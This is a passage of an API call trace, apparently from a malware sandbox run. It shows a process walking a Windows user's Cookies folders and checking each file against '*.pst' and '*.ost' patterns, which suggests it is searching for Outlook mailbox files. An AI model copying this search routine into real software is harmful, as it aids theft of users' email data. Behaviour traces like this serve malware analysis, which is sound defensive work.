pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\*" [0098.634] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e8b80 [0098.635] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.635] FindNextFileW (in: hFindFile=0x71e8b80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.635] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.635] FindNextFileW (in: hFindFile=0x71e8b80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x9e660990, ftLastAccessTime.dwHighDateTime=0x1d35d5c, ftLastWriteTime.dwLowDateTime=0x9e660990, ftLastWriteTime.dwHighDateTime=0x1d35d5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="Cookies", cAlternateFileName="")) returned 1 [0098.635] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.635] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Cookies" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies" [0098.635] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*" [0098.635] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x9e660990, ftLastAccessTime.dwHighDateTime=0x1d35d5c, ftLastWriteTime.dwLowDateTime=0x9e660990, ftLastWriteTime.dwHighDateTime=0x1d35d5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ee0 [0098.635] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.635] FindNextFileW (in: hFindFile=0x71e8ee0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x9e660990, ftLastAccessTime.dwHighDateTime=0x1d35d5c, ftLastWriteTime.dwLowDateTime=0x9e660990, ftLastWriteTime.dwHighDateTime=0x1d35d5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.635] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.635] FindNextFileW (in: hFindFile=0x71e8ee0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc6a29610, ftCreationTime.dwHighDateTime=0x1d2fb16, ftLastAccessTime.dwLowDateTime=0xc6a29610, ftLastAccessTime.dwHighDateTime=0x1d2fb16, ftLastWriteTime.dwLowDateTime=0xc6a29610, ftLastWriteTime.dwHighDateTime=0x1d2fb16, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x230230, cFileName="aetadzjz@g.live[1].txt", cAlternateFileName="AETADZ~3.TXT")) returned 1 [0098.635] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.635] PathMatchSpecW (pszFile="aetadzjz@g.live[1].txt", pszSpec="*.pst") returned 0 [0098.635] PathMatchSpecW (pszFile="aetadzjz@g.live[1].txt", pszSpec="*.ost") returned 0 [0098.635] FindNextFileW (in: hFindFile=0x71e8ee0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11dfd3d0, ftCreationTime.dwHighDateTime=0x1d2fb18, ftLastAccessTime.dwLowDateTime=0x9e660990, ftLastAccessTime.dwHighDateTime=0x1d35d5c, ftLastWriteTime.dwLowDateTime=0x9e660990, ftLastWriteTime.dwHighDateTime=0x1d35d5c, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x230230, cFileName="aetadzjz@google[1].txt", cAlternateFileName="AETADZ~4.TXT")) returned 1 [0098.635] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.635] PathMatchSpecW (pszFile="aetadzjz@google[1].txt", pszSpec="*.pst") returned 0 [0098.635] PathMatchSpecW (pszFile="aetadzjz@google[1].txt", pszSpec="*.ost") returned 0 [0098.635] FindNextFileW (in: hFindFile=0x71e8ee0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc6a29610, ftCreationTime.dwHighDateTime=0x1d2fb16, ftLastAccessTime.dwLowDateTime=0xc6a29610, ftLastAccessTime.dwHighDateTime=0x1d2fb16, ftLastWriteTime.dwLowDateTime=0xc6a29610, ftLastWriteTime.dwHighDateTime=0x1d2fb16, nFileSizeHigh=0x0, nFileSizeLow=0x5f, dwReserved0=0x0, dwReserved1=0x230230, cFileName="aetadzjz@live[1].txt", cAlternateFileName="AETADZ~1.TXT")) returned 1 [0098.635] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.635] PathMatchSpecW (pszFile="aetadzjz@live[1].txt", pszSpec="*.pst") returned 0 [0098.635] PathMatchSpecW (pszFile="aetadzjz@live[1].txt", pszSpec="*.ost") returned 0 [0098.635] FindNextFileW (in: hFindFile=0x71e8ee0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x23441ce0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23441ce0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xe220fb50, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x230230, cFileName="index.dat", cAlternateFileName="")) returned 1 [0098.635] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.636] PathMatchSpecW (pszFile="index.dat", pszSpec="*.pst") returned 0 [0098.636] PathMatchSpecW (pszFile="index.dat", pszSpec="*.ost") returned 0 [0098.636] FindNextFileW (in: hFindFile=0x71e8ee0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x26403640, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb99a0960, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb99a0960, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Low", cAlternateFileName="")) returned 1 [0098.636] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.636] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", pszFile="Low" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0098.636] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*" [0098.636] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x26403640, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb99a0960, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb99a0960, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71ea8c0 [0098.671] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.672] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x26403640, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb99a0960, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb99a0960, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.944] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.944] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd09e3c80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0a2ff40, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0a2ff40, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@ad.360yield[2].txt", cAlternateFileName="AE49C0~1.TXT")) returned 1 [0098.944] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.944] PathMatchSpecW (pszFile="aetadzjz@ad.360yield[2].txt", pszSpec="*.pst") returned 0 [0098.945] PathMatchSpecW (pszFile="aetadzjz@ad.360yield[2].txt", pszSpec="*.ost") returned 0 [0098.945] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x193d0e80, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1aebe760, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aebe760, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@ad13.adfarm1.adition[2].txt", cAlternateFileName="AEFBAE~1.TXT")) returned 1 [0098.945] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.945] PathMatchSpecW (pszFile="aetadzjz@ad13.adfarm1.adition[2].txt", pszSpec="*.pst") returned 0 [0098.945] PathMatchSpecW (pszFile="aetadzjz@ad13.adfarm1.adition[2].txt", pszSpec="*.ost") returned 0 [0098.945] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd094b700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd094b700, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd094b700, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@addthis[2].txt", cAlternateFileName="AE8806~1.TXT")) returned 1 [0098.945] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.945] PathMatchSpecW (pszFile="aetadzjz@addthis[2].txt", pszSpec="*.pst") returned 0 [0098.945] PathMatchSpecW (pszFile="aetadzjz@addthis[2].txt", pszSpec="*.ost") returned 0 [0098.945] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x193127a0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1aebe760, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aebe760, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@adfarm1.adition[2].txt", cAlternateFileName="AEBA93~1.TXT")) returned 1 [0098.945] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.945] PathMatchSpecW (pszFile="aetadzjz@adfarm1.adition[2].txt", pszSpec="*.pst") returned 0 [0098.945] PathMatchSpecW (pszFile="aetadzjz@adfarm1.adition[2].txt", pszSpec="*.ost") returned 0 [0098.945] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd599100, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd599100, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd599100, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@adformdsp[2].txt", cAlternateFileName="AE565C~1.TXT")) returned 1 [0098.945] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.945] PathMatchSpecW (pszFile="aetadzjz@adformdsp[2].txt", pszSpec="*.pst") returned 0 [0098.945] PathMatchSpecW (pszFile="aetadzjz@adformdsp[2].txt", pszSpec="*.ost") returned 0 [0098.945] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd2c56e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0x1ab527c0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ab527c0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x12e, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@adform[2].txt", cAlternateFileName="AE357C~1.TXT")) returned 1 [0098.945] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.945] PathMatchSpecW (pszFile="aetadzjz@adform[2].txt", pszSpec="*.pst") returned 0 [0098.945] PathMatchSpecW (pszFile="aetadzjz@adform[2].txt", pszSpec="*.ost") returned 0 [0098.945] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18e29a40, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1c6400a0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1c6400a0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2e9, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@adnxs[2].txt", cAlternateFileName="AE127D~1.TXT")) returned 1 [0098.945] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.945] PathMatchSpecW (pszFile="aetadzjz@adnxs[2].txt", pszSpec="*.pst") returned 0 [0098.945] PathMatchSpecW (pszFile="aetadzjz@adnxs[2].txt", pszSpec="*.ost") returned 0 [0098.945] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05b9600, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05b9600, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05b9600, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x57, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@adscale[1].txt", cAlternateFileName="AE1307~1.TXT")) returned 1 [0098.945] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.945] PathMatchSpecW (pszFile="aetadzjz@adscale[1].txt", pszSpec="*.pst") returned 0 [0098.945] PathMatchSpecW (pszFile="aetadzjz@adscale[1].txt", pszSpec="*.ost") returned 0 [0098.945] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd112dfe0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd117a2a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd117a2a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@adserving.ancoraplatform[2].txt", cAlternateFileName="AE3EC5~1.TXT")) returned 1 [0098.945] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.946] PathMatchSpecW (pszFile="aetadzjz@adserving.ancoraplatform[2].txt", pszSpec="*.pst") returned 0 [0098.946] PathMatchSpecW (pszFile="aetadzjz@adserving.ancoraplatform[2].txt", pszSpec="*.ost") returned 0 [0098.946] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1b25c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1b98020, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1b98020, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@adsrvr[1].txt", cAlternateFileName="AE235F~1.TXT")) returned 1 [0098.946] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.946] PathMatchSpecW (pszFile="aetadzjz@adsrvr[1].txt", pszSpec="*.pst") returned 0 [0098.946] PathMatchSpecW (pszFile="aetadzjz@adsrvr[1].txt", pszSpec="*.ost") returned 0 [0098.946] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb9a0e80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb9a0e80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb9a0e80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@adtech[2].txt", cAlternateFileName="AEF361~1.TXT")) returned 1 [0098.946] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.946] PathMatchSpecW (pszFile="aetadzjz@adtech[2].txt", pszSpec="*.pst") returned 0 [0098.946] PathMatchSpecW (pszFile="aetadzjz@adtech[2].txt", pszSpec="*.ost") returned 0 [0098.946] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc83538a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0x1e095400, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1e095400, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x118, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@advertising[1].txt", cAlternateFileName="AE1C17~1.TXT")) returned 1 [0098.946] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.946] PathMatchSpecW (pszFile="aetadzjz@advertising[1].txt", pszSpec="*.pst") returned 0 [0098.946] PathMatchSpecW (pszFile="aetadzjz@advertising[1].txt", pszSpec="*.ost") returned 0 [0098.946] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1401a00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1401a00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1401a00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@angsrvr[2].txt", cAlternateFileName="AE10A0~1.TXT")) returned 1 [0098.946] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.946] PathMatchSpecW (pszFile="aetadzjz@angsrvr[2].txt", pszSpec="*.pst") returned 0 [0098.946] PathMatchSpecW (pszFile="aetadzjz@angsrvr[2].txt", pszSpec="*.ost") returned 0 [0098.946] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd1227c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd1227c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd1227c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@api.bing[2].txt", cAlternateFileName="AEFA13~1.TXT")) returned 1 [0098.946] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.946] PathMatchSpecW (pszFile="aetadzjz@api.bing[2].txt", pszSpec="*.pst") returned 0 [0098.946] PathMatchSpecW (pszFile="aetadzjz@api.bing[2].txt", pszSpec="*.ost") returned 0 [0098.946] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8757dc0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcba5f560, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcba5f560, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x203, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@at.atwola[2].txt", cAlternateFileName="AEC741~1.TXT")) returned 1 [0098.946] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.946] PathMatchSpecW (pszFile="aetadzjz@at.atwola[2].txt", pszSpec="*.pst") returned 0 [0098.946] PathMatchSpecW (pszFile="aetadzjz@at.atwola[2].txt", pszSpec="*.ost") returned 0 [0098.946] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0a09de0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0a09de0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0a09de0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@bidswitch[1].txt", cAlternateFileName="AE9589~1.TXT")) returned 1 [0098.946] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.946] PathMatchSpecW (pszFile="aetadzjz@bidswitch[1].txt", pszSpec="*.pst") returned 0 [0098.946] PathMatchSpecW (pszFile="aetadzjz@bidswitch[1].txt", pszSpec="*.ost") returned 0 [0098.946] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbcc0b60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xccfcbb60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xccfcbb60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@bing[1].txt", cAlternateFileName="AE445A~1.TXT")) returned 1 [0098.947] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.947] PathMatchSpecW (pszFile="aetadzjz@bing[1].txt", pszSpec="*.pst") returned 0 [0098.947] PathMatchSpecW (pszFile="aetadzjz@bing[1].txt", pszSpec="*.ost") returned 0 [0098.947] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1023640, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1936a20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd195cb80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@bluekai[1].txt", cAlternateFileName="AE5A80~1.TXT")) returned 1 [0098.947] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.947] PathMatchSpecW (pszFile="aetadzjz@bluekai[1].txt", pszSpec="*.pst") returned 0 [0098.947] PathMatchSpecW (pszFile="aetadzjz@bluekai[1].txt", pszSpec="*.ost") returned 0 [0098.947] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfcaed0a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xfcaed0a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, 